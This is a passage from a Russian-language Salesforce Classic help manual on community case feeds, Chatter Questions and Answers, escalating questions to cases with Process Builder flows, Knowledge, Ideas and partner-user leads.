внешнего пользователя, имеющего доступ к обращению. Агент может назначить сообщению или сообщению эл.
почтывлентеобращенийсообществастатусобщедоступногодляуведомленияконтактаобращенияоходевыполнения
внутренних работ по обращению.

Прим.:

• Лента обращений поддерживает удобные визуальные подсказки, позволяющие агентам быстро определять
сообщения, поддерживающие внешнее отображение. Дополнительную информацию о включении данных
визуальныхподсказоксм. вподразделе «Параметрыпредставленияленты» раздела «Параметрыдляпредставлений
ленты в ленте обращений».

• ПринеобходимостисоздайтетриггерApexилипроцесс, позволяющийскрыватьилиотображатьвсе электронные
обращения в ленте обращений сообщества внешних пользователей. Дополнительную информацию см. в
разделе «Сообщения эл. почты в ленте обращений сообщества».

СМ. ТАКЖЕ:

Лента обращений сообщества
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Публикация сообщений для обращенийи вопросов сообщества посредством действия «Сообщество»
ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания
сообщений-обращений на
клиентских порталах или в
сообществах:
• «Редактирование» для

обращений

Действие «Сообщество» в ленте обращений используется по умолчанию для отправки
ответов клиентампообращениям, созданнымв сообществеилина клиентскомпортале.

Для публикации сообщений для обращений на клиентском портале или в сообществе:

1. Щелкните «Ответить клиенту» на странице «Лента обращений».

2. Нажмите кнопку и выберите «Сообщество».
Взависимостиотпараметровлентыобращений, заданныхадминистратором, действие
«Сообщество» может быть выбрано без предварительного нажатия кнопки
«Ответить клиенту».

3. Введите текст сообщения для отправки клиенту.

4. При работе над обращением, расширенным из вопроса Chatter Questions или Chatter Answers, выберите аудиторию,
которой должно отображаться сообщение.

• Выберите значение «Только клиенты» для публикации ответа в качестве личного или значение «Каждый» для
публикации ответа в качестве общедоступного.

• Установите переключатель «Обращение клиента» для отображения сообщения всем внутренним и внешним
пользователям, имеющим доступ к обращению, или «Вопрос сообщества» для публикации общедоступного
ответана вопроспользователя сообщества. Есливывыберитепункт «Обращениеклиента», а вашадминистратор
Salesforce включил поток коллективного обращения, вы создадите сообщение Chatter вместо комментария к
обращению.
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5. При необходимости установитефлажок «Отправить эл. почту» для уведомления клиента о публикации ответа на
вопрос в обращении.

Прим.: Данный параметр доступен только в том случае, если включен администратором, а клиент, которому
отправляется ответ, связан с обращениемииспользует действительныйадрес эл. почты. Если вашаорганизация
использует поток общественного обращения и сообщения электронной почты для сообщений обращения
Chatter включены, пользователямавтоматическиотправляетсяуведомлениепоэлектроннойпочтепоихзапросам,
а этот параметр не отображается.

6. Дополнительно вы можете прикрепить статью базы знаний к сообщению.

7. Чтобы опубликовать сообщение, нажмите кнопку.

Прим.: Еслиорганизацияподдерживаетлентуобращенийсообщества, топользователимогутизменятьдоступность
опубликованныхсообщений-обращений. Дополнительныесведениясм. разделеПоказилискрытиеопубликованного
сообщения или сообщения эл. почты в потоке коллективного обращения.

СМ. ТАКЖЕ:

Отправка исходных и ответных сообщений эл. почты из ленты обращений

Общие сведения о ленте обращений

Лента обращений сообщества
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Включение функции «Вопросы Chatter» в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Вопросы Chatter»
доступна в версиях: Group
Edition, Professional
Edition, Developer Edition,
Performance Edition,
Enterprise Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы отредактировать
глобальный макет
публикатора, выполните
указанные ниже действия.
• «Настройка

приложения»

Функция «Вопросы Chatter» помогает повысить занятость сообщества путем
предоставления пользователям возможности публикации вопросов и ответов в ленте
Chatter, группах и записях. Участники групп и сообществ могут отвечать на вопросы
Chatter точно так же, как публиковать комментарии к сообщениям Chatter. Кроме того,
пользователисообществ, созданныхнаосновешаблона Napili, могут дополнять вопросы
файлами.

Чтобынастроитьфункцию «Вопросы Chatter» в сообществе, добавьтедействие «Вопрос»
в глобальный макет публикатора. Организациям, созданным после выпуска Summer'14,
действие «Вопрос» доступно по умолчанию, но должно быть перенесено как можно
левее.

Прим.: Функция «Вопросы Chatter» неподдерживается сообществами, созданными
на основе шаблонов сообществ Koa и Kokua.

1. Введите строку «Макеты публикатора» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Макеты
публикатора».

2. Щелкните ссылку «Правка» напротив глобального макета публикатора.

3. Перетащитедействие «Вопрос» изпалитрывглобальныймакетпубликатора. Еслидействие «Вопрос» ужеотображается
в макете, измените порядок его отображения.

4. Нажмите кнопку «Сохранить».

Прим.: При использовании настроенного макета публикатора в группах или записях убедитесь, что действие
«Вопрос» также добавлено в данные макеты.

СМ. ТАКЖЕ:

Отслеживание показателей использования вопросов Chatter в организации Salesforce и сообществах
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Включение Chatter Answers в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы включить Chatter
Answers в сообществах
Salesforce, выполните
указанные ниже действия.
• «Настройка

приложения»

Chatter Answers — это сообщество по поддержке портала самообслуживания,
позволяющеепользователямпубликовать вопросыиполучатьответыиликомментарии
от других пользователей или агентов службы поддержки.

Для настройки Chatter Answers в сообществах Salesforce выполните действия, указанные
ниже.

1. Включите Chatter Answers.

a. Введите строку «Параметры Chatter Answers» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт «Параметры Chatter Answers».

b. Установите флажок «Включить Chatter Answers».

2. Убедитесь, что участникам сообщества доступны перечисленные ниже объекты.

• Вопросы

• Статьи базы знаний

• Категории данных

3. Создайте зону для Chatter Answers.

a. Включите зону для Chatter Answers.

b. Задайте параметру «Доступно» нужное сообщество.

c. Выберите общедоступную группу организации в поле «Группа агентов службы
поддержки».

4. Добавьте вкладку «Вопрос и ответ» в сообщество.

a. Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества». Затем щелкните ссылку «Управление» напротив имени нужного сообщества.

b. Последовательно выберите пункты «Администрирование» > «Вкладки».

c. Добавьте вкладку «Вопрос и ответ» в список «Выбранные вкладки».

d. Нажмите кнопку «Сохранить».

e. Нажмите кнопку «Закрыть».

5. Разрешите отображение вкладки «Вопрос и ответ» в нужных профилях.

a. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем выберите «Профили».

b. Щелкните ссылку «Правка» напротив нужного профиля.

c. Задайте вкладке «Вопрос и ответ» значение «Включены стандартные параметры» в разделе «Параметры
стандартной вкладки».

d. Нажмите кнопку «Сохранить».

Нижеперечисленыдополнительныепараметрыразвертывания, которыемогут бытьнастроеныпосле включенияChatter
Answers в сообществе.

• Общедоступный сайт Force.com (с порталом или без него).

• Вкладка Visualforce, поддерживающаяфирменный стиль, настраиваемую целевую страницу и настраиваемый доступ
к Chatter Answers внутри сообщества.
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При самостоятельной регистрации пользователя для сообщества, поддерживающего Chatter Answers, полномочие
«Пользователь Chatter Answers» не назначается пользователю автоматически. Назначьте пользователю сообщества
полномочия для Chatter Answers.

Настройка функции создания обращения из вопроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Добавьте функцию создания обращения из вопроса в сообщества или организацию
Salesforce, либо одновременно.

Функция создания обращения из вопроса позволяет модераторам использовать Chatter
для создания обращений из нерешенных вопросов, гарантируя более удобное
отслеживание и решение проблем клиентов. Модераторы могут создавать обращения
извопросовпрямовленте. Процесссозданияобращенийизвопросов, соответствующих
заданнымкритериям, можетбытьавтоматизированпосредствомконструкторапроцессов
Lightning, позволяющего настраивать процессы, аналогичные бизнес-правилам.
Обращения, созданныеизвопросов, добавляютсявочередь, гдедоступныагентамслужбы
поддержки для рассмотрения.

Функция создания обращения из вопроса поддерживается только сообществами, использующимифункцию «Вопросы
Chatter».

1. Включение функции создания обращения из вопроса
Функция создания обращения из вопроса позволяет модераторам использовать Chatter для создания обращений из
вопросов, гарантируя быстрое решение вопросов клиентов. Включите функцию создания обращения из вопроса в
сообществах или организации Salesforce, либо одновременно.

2. Добавление поля «Вопрос из Chatter» в подробное представление обращения
При создании обращения из вопроса в Chatter поле «Вопрос из Chatter» страницы сведений об обращении
отображает ссылку на исходный вопрос. Данное поле позволяет агентам быстро открывать ленту.

3. Добавление действия «Расширить до обращения» в макет элемента ленты
Чтобы разрешить модераторам создание обращений из вопросов, добавьте действие «Расширить до обращения» на
страницывопросов Chatter. Данноедействие создается автоматическипривключениифункциисозданияобращения
из вопроса в организации.

4. Подтверждение доступа к действию «Расширить до обращения»

Еслиорганизацияиспользуетнесколько типов записейдляобращений, убедитесь, чтопрофилям, которымтребуется
функция создания обращения из вопроса, доступен тип записи, связанный с действием «Расширить до обращения».
Если организация использует только один тип записи для обращений, пропустите данный процесс.
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5. Настройка макета действия «Расширить до обращения»

Выберитеполяиопределитепорядокихотображениядлядействия «Расширитьдообращения» наосновеинформации,
которая должна отслеживаться для каждого обращения.

6. Автоматическое назначение обращений из вопросов очередям
Функция создания обращения из вопроса не поддерживает правила назначения обращений, поэтому обращение,
созданноеиз вопроса, поумолчаниюназначаетсямодератору, расширяющемувопрос. Принеобходимостисоздайте
бизнес-правило или процесс, который автоматически добавляет обращения, созданные из вопросов, в очередь, где
они доступны агентам для рассмотрения.

7. Автоматическое создание обращений из нерешенных вопросов в Chatter

Расширение сообщества или организации не должно препятствовать быстрому получению ответов на заданные
вопросы. Функция создания обращения из вопроса позволяет модераторам расширять нерешенные вопросы до
обращений прямо в ленте. Кроме того, система поддерживает конструктор процессов Lightning, позволяющий
настраивать более эффективные процессы принятия решения, аналогичные бизнес-правилам. Настройте процесс,
который автоматически создает обращения из вопросов, соответствующих заданным критериям.

СМ. ТАКЖЕ:

Включение функции создания обращения из вопроса

Включение функции создания обращения из вопроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
создания обращения из
вопроса:
• «Настройка

приложения»

Функция создания обращения из вопроса позволяет модераторам использовать Chatter
длясозданияобращенийизвопросов, гарантируябыстроерешениевопросовклиентов.
Включите функцию создания обращения из вопроса в сообществах или организации
Salesforce, либо одновременно.

1. Введитестроку «Параметры поддержки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры поддержки».

2. Чтобы включить функцию создания обращения из вопроса во всех сообществах,
использующихфункцию «Вопросы Chatter», установите флажок «Включить
функцию создания обращения из вопроса в сообществах».

3. Чтобывключитьфункциюсозданияобращенияиз вопроса ворганизации Salesforce,
установите флажок «Включитьфункцию создания обращения из вопроса в
системе Salesforce».

4. Нажмите кнопку «Сохранить».

Прим.: Убедитесь, чтоиспользуетемакет страницынаосновеленты. Данныймакет
позволяет агентам и модераторам использовать действие «Сообщество» для
публикацииответовнарасширенныевопросы. Организация, созданнаядовыпуска
Spring'14, может использовать другой макет страницы.

СМ. ТАКЖЕ:

Добавление поля «Вопрос из Chatter» в подробное представление обращения
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Добавление поля «Вопрос из Chatter» в подробное представление обращения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности поля:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Для настройки макетов
страниц:
• «Настройка

приложения»

При создании обращения из вопроса в Chatter поле «Вопрос из Chatter» страницы
сведенийобобращенииотображает ссылкунаисходныйвопрос. Данноеполепозволяет
агентам быстро открывать ленту.

Сначала настройте параметры безопасности поля для определения пользователей,
которым поле «Вопрос из Chatter» должно отображаться на страницах сведений
об обращениях.

1. Откройте страницу «Поля» посредством параметров управления обращениями.

2. Щелкните ссылку «Вопрос из Chatter».

3. Нажмите кнопку «Настроить параметры безопасности полей».

4. Установите флажок «Доступно» напротив нужных профилей.

5. Нажмите кнопку «Сохранить».

Теперь добавьте поле в подробное представление обращения.

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. Щелкните ссылку «Правка» напротив нужного макета страницы.

3. Перетащите поле «Вопрос из Chatter» из раздела «Поля» на палитре редактора
макетов страниц в раздел сведений об обращении.

4. Нажмите кнопку «Сохранить».

5. Чтобыподтвердить назначениенастроенногомакета страницынужнымпрофилям,
нажмите кнопку «Назначениемакета страницы». При необходимости назначьте
данныймакет страницывнутреннимпользователям, которымдолжнобытьдоступно
поле обращения «Вопрос из Chatter».

СМ. ТАКЖЕ:

Добавление действия «Расширить до обращения» в макет элемента ленты

Поиск по параметрам управления объектами

Поиск по параметрам управления объектами
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Добавление действия «Расширить до обращения» в макет элемента ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактированиямакетов
страниц:
• «Настройка

приложения»

Чтобы разрешить модераторам создание обращений из вопросов, добавьте действие
«Расширить до обращения» на страницы вопросов Chatter. Данное действие создается
автоматическипривключениифункциисозданияобращенияизвопросаворганизации.

1. Введите строку «Элемент ленты» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Макет элемента ленты».

2. Щелкните ссылку «Правка» напротив нужного макета элемента ленты.

3. Перетащитедействие «Расширитьдообращения» из категории «Быстрыедействия»
на палитре в раздел «Быстрые действия» в разделе публикатора Salesforce Classic.

4. Нажмите кнопку «Сохранить».

5. Чтобы подтвердить назначение настроенного макета элемента ленты нужным
профилям, нажмите кнопку «Назначение макета страницы».

СМ. ТАКЖЕ:

Подтверждение доступа к действию «Расширить до обращения»

Подтверждение доступа к действию «Расширить до обращения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения типов
записей:
• «Настройка

приложения»

Если организация использует несколько типов записей для обращений, убедитесь, что
профилям, которым требуется функция создания обращения из вопроса, доступен тип
записи, связанныйсдействием «Расширитьдообращения». Еслиорганизацияиспользует
только один тип записи для обращений, пропустите данный процесс.

Сначала просмотрите тип записи, назначенный профилям, которым требуется доступ
к действию «Расширить до обращения».

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Щелкните имя нужного профиля.

3. Запомнитетипызаписейобращения, используемыйпрофилем, вразделе «Параметры
типа записи».

4. Убедитесь, что профилю пользователя назначено полномочие «Модерирование
Chatter» или «Модерирование лент сообществ» в разделе «Полномочия».

Затем просмотрите тип записи, используемый действием «Расширить до обращения».
При необходимости внесите соответствующие изменения.

1. Введитестроку «Действия» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Действия элемента ленты».

2. Щелкните ссылку «Правка» напротив действия «Расширить до обращения».

3. Убедитесь, что поле «Тип записи» отображает тип записи, назначенный нужным профилям. В противном случае,
выберите соответствующий тип записи из раскрывающегося списка.
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4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка макета действия «Расширить до обращения»

Настройка макета действия «Расширить до обращения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Выберите поля и определите порядок их отображения для действия «Расширить до
обращения» на основе информации, которая должна отслеживаться для каждого
обращения.

1. Введитестроку «Действия» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Действия элемента ленты».

2. Щелкните ссылку «Макет» напротив действия «Расширить до обращения».

3. Перетащите нужные поля из палитры редактора макетов действий. При
необходимости измените порядок их отображения.

4. Нажмите кнопку «Сохранить».

Прим.: Общедоступные сообщества не поддерживают поиск контакта после
отправки обращения, поэтому поле «Контакт» может быть удалено из макета
действия.

СМ. ТАКЖЕ:

Автоматическое назначение обращений из вопросов очередям

Автоматическое назначение обращений из вопросов очередям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция создания
обращения из вопроса
доступна в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция создания обращения из вопроса не поддерживает правила назначения
обращений, поэтому обращение, созданное из вопроса, по умолчанию назначается
модератору, расширяющемувопрос. Принеобходимостисоздайтебизнес-правилоили
процесс, которыйавтоматическидобавляетобращения, созданныеизвопросов, вочередь,
где они доступны агентам для рассмотрения.

Расширенные вопросы могут назначаться очередям разными способами. Рекомендуем
использовать конструктор процессов Lightning для создания процесса, автоматически
назначающего обращение, поле «Тип» которого содержит значение «Вопрос»,
выбраннойочереди. Принеобходимостисоздайтепроцесс, поддерживающийнесколько
очередей. Например, процессможетназначатьобращения, содержащиеопределенную
тему, другой очереди.

Конкретныйспособназначениярасширенныхвопросовочередямопределяетсямногими
факторами, включая пользователей и цели. Выберите способ, являющийся наиболее
оптимальным для текущей организации.

Дополнительную информацию о порядке создания очереди см. в разделе «Создание очередей».

СМ. ТАКЖЕ:

Автоматическое создание обращений из нерешенных вопросов в Chatter
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Автоматическое создание обращений из нерешенных вопросов в Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция создания
обращения из вопроса
доступна в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Конструктор процессов
Lightning доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Расширение сообщества или организации не должно препятствовать быстрому
получению ответов на заданные вопросы. Функция создания обращения из вопроса
позволяет модераторам расширять нерешенные вопросы до обращенийпрямо в ленте.
Кроме того, система поддерживает конструктор процессов Lightning, позволяющий
настраивать более эффективные процессы принятия решения, аналогичные
бизнес-правилам. Настройте процесс, который автоматически создает обращения из
вопросов, соответствующих заданным критериям.

Важное замечание: Данные инструкции относятся только к организациям и
сообществам, использующимфункцию «Вопросы Chatter». Не знаете, к какому
типу относится ваша организация или сообщество? См. раздел Различия между
функциями публикации вопросов и ответов в системе Salesforce на странице 3322.

Процессыподдерживаютразныеспособыиспользованияфункциисозданияобращения
из вопроса. Например, процессы могут выполнять указанные ниже действия.

• Создание обращений из вопросов по истечении недели, при получении более
10 предпочтений и при отсутствии выбранного лучшего ответа.

• Немедленное создание обращений из вопросов при наличии слова «конкурент».

Процессы, связанные с функцией создания обращения из вопроса, используют объект
«Элемент ленты». Процесс содержит поток, оценивающий сообщения-вопросы на
соответствие заданным критериям расширения. При необходимости рекомендуем
создать переменные потока на основе нескольких полей объекта «Элемент ленты», включая:

• BestCommentId: кодкомментария, выбранноговкачествелучшегоответа. Приотсутствиикомментария, выбранного
в качестве лучшего ответа, данное поле содержит нулевое значение.

• CommentCount: количество комментариев для вопроса.

• LikeCount: количество предпочтений для вопроса.

Совет:

• Тип данных каждой переменной потока должен соответствовать типу данных поля элемента ленты. Поля
CommentCount и LikeCount являются числовыми, тогда как поле BestCommentId является текстовым.

• Создание элемента ленты может инициировать выполнение процесса; недоступно обновлениям элементов
ленты (например, предпочтения и комментарии). В зависимости от используемого процесса рекомендуем
определить время, по истечении которого необходимо выполнять связанный поток.

Дополнительные сведения

Допустим, что администратор хочет разрешить автоматическое расширение вопросов до обращений, если они
соответствуют следующим критериям.

• Прошло 24 часа.

• Вопрос получил более 4 комментариев.

• Лучший ответ не выбран.

Действие 1. Создание процесса
Сначала администратор создает процесс для объекта «Элемент ленты» посредством конструктора процессов.
Процесс выполняется только при создании элементов ленты.
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Действие 2. Добавление критериев
Администратор добавляет критерии, проверяющиенедавно созданные элементылентынаналичие вопросов.
Администратором используются параметры ниже.

• Имя критерия: Является вопросом

• Критерии для выполнения действий: Условия фильтра выполняются

• Условие фильтра: [FeedItem].Type "равно" Сообщение-вопрос

• Соответствие всем условиям (И)

Действие 3. Добавление потока
Администратор создает простой поток «Расширение вопроса до обращения» посредством облачной версии
приложения Flow Designer. Поток содержит три элемента: поиск записи, решение и быстрое действие. Данный поток
проверяет вопроснаналичиенеменеечетырех комментариевилучшегоответа. Элемент «поиск записи»извлекает
код записи из сообщения-вопроса. Ниже перечислены используемые параметры.

• Имя: Код вопроса

• Поиск: FeedItem

• Поле: Код

• Оператор: равно

• Значение: {!QuestionID}

Прим.: Администратор создает текстовую переменную {!QuestionID} для поля «Значение»
(использует тип ввода/вывода «Ввод и вывод»).

Элемент «решение» определяет необходимость расширения вопроса до обращения. Ниже перечислены
используемые параметры.

• Имя: Подлежит расширению

• Стандартный результат: Нет

• Редактируемый результат: Да

– Условия потока: {!BestCommentId} "равно нулю" {!$GlobalConstant.True}

И

{!CommentCount} "больше или равно" 4

– Все условия должны быть истинными (И)

Прим.: Администратор создает две новые переменные для поля «Условия потока»: текстовая
переменная {!BestCommentId} и числовая переменная {!CommentCount}  (обе
используют тип ввода/вывода «Ввод и вывод»).

БыстроедействиеFeedItem.EscalateQFIToCaseрасширяет вопросдообращенияпривыполненииусловийдля
результата «Да». Ниже перечислены используемые параметры.

• Имя: Расширить до обращения

• Код связанной записи: {!QuestionId}

Внимание: Не рекомендуем редактировать имя быстрого действия FeedItem.EscalateQFIToCase.
Редактирование имени действия инициирует его отображение в раскрывающемся меню действий
некоторых сообщений ленты, а также возникновение ошибок.
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Действие 4. Добавление потока в процесс
Администратор добавляет созданный поток в качестве запланированного действия. Сначала администратор
определяет необходимость выполнения потока через 24 часа после создания элемента ленты.

Затем администратордобавляетпоток впроцесспосредствомпеременной, использующейсведенияиз записи
элемента ленты. Администратором используются параметры ниже.

• Имя действия: Расширить до обращения

• Поток: Escalate_Question_to_Case

• Переменная:

– Переменная потока: QuestionId

– Значение: [FeedItem].Id

Действие 5. Сохранение и активация процесса
Просмотрите созданный процесс.

Активация процесса инициирует его выполнение для всех будущих вопросов, публикуемых в сообществах и
системе Salesforce.

Совет: Администратор может создать похожий процесс, позволяющий расширять вопросы до
обращенийпри получениине менее 10 предпочтений. Онможет сэкономить время, клонировав этот
процесс и связать его с потоком, проверяющим вопросы на количество предпочтений.

СМ. ТАКЖЕ:

Конструктор процессов Lightning

Облачная версия приложения Flow Designer
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Включение Salesforce Knowledge в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Сообщества доступны в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition,
Unlimited Edition и
Developer Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И участие в сообществе,
подлежащем
обновлению

Для настройки Salesforce
Knowledge, создания типов
статей и действий над
статьей и изменения
назначений групп
категорий:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Для назначения лицензий
пользователя:
• «Управление

внутренними
пользователями»

Для создания категорий
данных:
• «Управление

категориями данных»

Включите Salesforce Knowledge, чтобы пользователи сообщества могли просматривать
статьи из базы знаний.

Если организация Salesforce имеет лицензию Salesforce Knowledge, то сообщества могут
использоватьсядлядоступак статьямбазызнаний. Послевключения Salesforce Knowledge
выполните указанные ниже действия для просмотра статей в сообществах.

1. Обновите профили.

• Клонируйте профиль «Пользователь Customer Community», «Пользователь
Customer Community Plus» или «Пользователь Partner Community» и включите
полномочие «Чтение» для типов статей, которые должны быть доступны
пользователям сообщества.

• Убедитесь, чтодоступностивкладки «Статьи» (или «База знаний») заданозначение
«Включены стандартные параметры».

• Нажмите кнопку «Редактировать профили» внизу страницы сведений и
активируйте новый профиль.

2. Добавьте вкладку «База знаний» в каждое сообщество.

Прим.: Участники сообществ без полномочия Knowledge One не могут
просматривать базу знаний посредством сообществ. Они также не могут
просматривать базу знаний в сообществах посредством мобильных и
загружаемых веб-приложений Salesforce1.

3. Чтобыназначитьпользователямсообщества другиепараметрыдоступности группы
категорий, измените параметры доступности посредством набора полномочий,
профиля или роли. Например, чтобы запретить пользователям с профилем
«Пользователь Customer Community» просмотр статей из определенной группы
категорий, измените доступность категорий данных для данного профиля.

4. Уведомите пользователей, создающих статьи, о необходимости выбора канала
«Клиент» (для пользователей с лицензией Customer Community или Customer
Community Plus) или «Партнер» (для пользователей с лицензией Partner Community)
при создании или изменении статьи. В противном случае, статья не будет
опубликована в сообществе.

СМ. ТАКЖЕ:

Общие сведения о Salesforce Knowledge

Настройка Salesforce Knowledge
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Включение идей в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
идей:
• «Настройка

приложения»

Вкладка «Идеи» позволяет группе пользователей публиковать, голосовать и
комментировать идеи. Включение вкладки «Идеи» в сообществе предоставляет
интерактивныйипонятныйспособпривлечения, управленияидемонстрацииинноваций.

Для управления едиными параметрами идей выполните указанные ниже действия.

1. Введите строку «Параметры идей» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Параметры идей».

a. Чтобы включить идеи в организации, установите флажок «Включить идеи».

b. Чтобы включить HTML-редактор идей, предоставляющий пользователям
возможности HTML-редактирования и добавления ссылок на изображения
посредствоминтерфейса WYSIWYG припубликациииликомментированииидей,
установитефлажок «Разрешить форматирование текста, вставку изображений
и ссылок».

Включение HTML-редактора является необратимым.

c. Чтобывключитьполесомножественнымвыбором «Категории», нажмитекнопку
«Включить», расположенную под сообщением «Категории» вверху страницы.
Данная кнопка отображается только в том случае, если поле «Категории» не
включено.

d. Чтобыразрешить участникамсообщества «Идеи» связыватьидеюснесколькимикатегориями, установитефлажок
«Включить категории». Включение многовариантных категорий является необратимым.

e. Чтобы разрешить пользователям зарабатывать очки и рейтинги на основе их действий в каждой зоне, установите
флажок «Включить поддержку репутации».

f. Введите нужное количество дней в поле «Период расцвета (в днях)».

Параметр «Период расцвета» определяет скорость, с которой устаревшие идеи перемещаются в нижние строки
рейтинга на вложенной вкладке «Популярные идеи», чтобы уступить место тем идеям, за которые недавно были
отданы голоса. Чем меньше период расцвета, тем быстрее устаревшие идеи перемещаются вниз страницы.

2. Определите и настройте поля для идей.

a. Определите значения раскрывающегося списка для полей «Категории» и «Статус».

Убедитесь, что зоны, подлежащие добавлению в сообщество, содержат категории и статусы.

b. Настройте параметры безопасности для стандартных и настраиваемых полей.

c. Создайте настраиваемые поля и настройте правила проверки.

Настраиваемые поля отображаются в разделе «Дополнительные сведения» на страницах «Добавить идею» и
«Сведения об идее».

d. При необходимости добавьте поле «Вложение» в макет и настройте параметры безопасности поля для
предоставления пользователям возможности добавления файлов в собственные идеи.

3. Чтобы включить экспертов внутри зон, создайте общедоступную группу, содержащую данных пользователей.

4. При необходимости включите поддержку пространств идей.

5. Создайте как минимум одну зону для объединения идей в логические группы и свяжите зоны с сообществом.

6. Настройте макеты страниц идей для отображения нужной информации.
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7. Создайте правила проверки, препятствующие использованию оскорбительных слов в зоне.

8. Настройте правила проверки и триггеры Apex для комментариев к идеям.

9. Включите профили пользователей для модераторов и участников сообщества, а затем убедитесь, что профилям
доступны идеи.

10. Добавьте вкладки «Идеи» и «Пространства идей» в сообщество.

СМ. ТАКЖЕ:

Настройка параметров сообщества «Идеи»

Включение интересов для пользователей-партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения интересов
пользователей-партнеров:
• «Управление

профилями и наборами
полномочий»

Благодаря включению интересов пользователи-партнеры могут просматривать и
создавать интересы в сообществах.

Привключенииинтересовдляпользователей-партнеровсообщества системапозволяет
назначать интересы данным участникам. К тому же пользователи-партнеры могут
редактировать, создавать, импортироватьинтересыивыполнятьихпакетноеобновление
в списковом представлении.

1. На странице «Управление сообществом» последовательно выберите
«Администрирование» > «Вкладки» и добавьте вкладку «Интересы» в список
доступных вкладок сообщества.

2. Вменю «Настройка» установите видимость вкладкииполномочия объектов. Чтобы
назначитьполномочия, воспользуйтесьпрофилемилинаборомполномочий. Если
данные полномочия должны применяться выборочно, рекомендуем использовать
набор полномочий.

a. Прииспользованиинабораполномочийдляинтересовприменяйтеследующие
параметры:

• Установите флажки «Доступно» и «Отображается» в разделе «Параметры
вкладки».

• Выберите полномочия «Чтение», «Создание» и «Редактирование» в разделе
«Параметры объекта».

b. Прииспользованиипрофиля (например, профильпользователя-партнера) задайте уровнюдоступностивкладки
«Интересы» значение «Включены стандартные параметры» и включите полномочия «Чтение», «Создание» и
«Редактирование» для интересов.

3. При желании можно назначить дополнительные полномочия для включения расширенных функций для ваших
партнеров. Еслинеобходимоприменитьэтиполномочиятолькодлянесколькихпользователей-партнеров, рекомендуем
создать отдельные наборы полномочий.

Прим.: Пользователи-партнеры с устаревшими лицензиями портала могут пользоваться расширенными
функциями только в сообществах.
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Необходимые полномочия
пользователя-партнера

Функция

«Импорт интересов»

И

Импорт интересов выполняется посредством ссылки «Импорт интересов»
на вкладке «Интересы» сообщества.

Если пользователь-партнер импортирует интересы, возможно, следует
позволить ему импортировать организации и контакты посредством ссылки

«Импорт личных контактов»
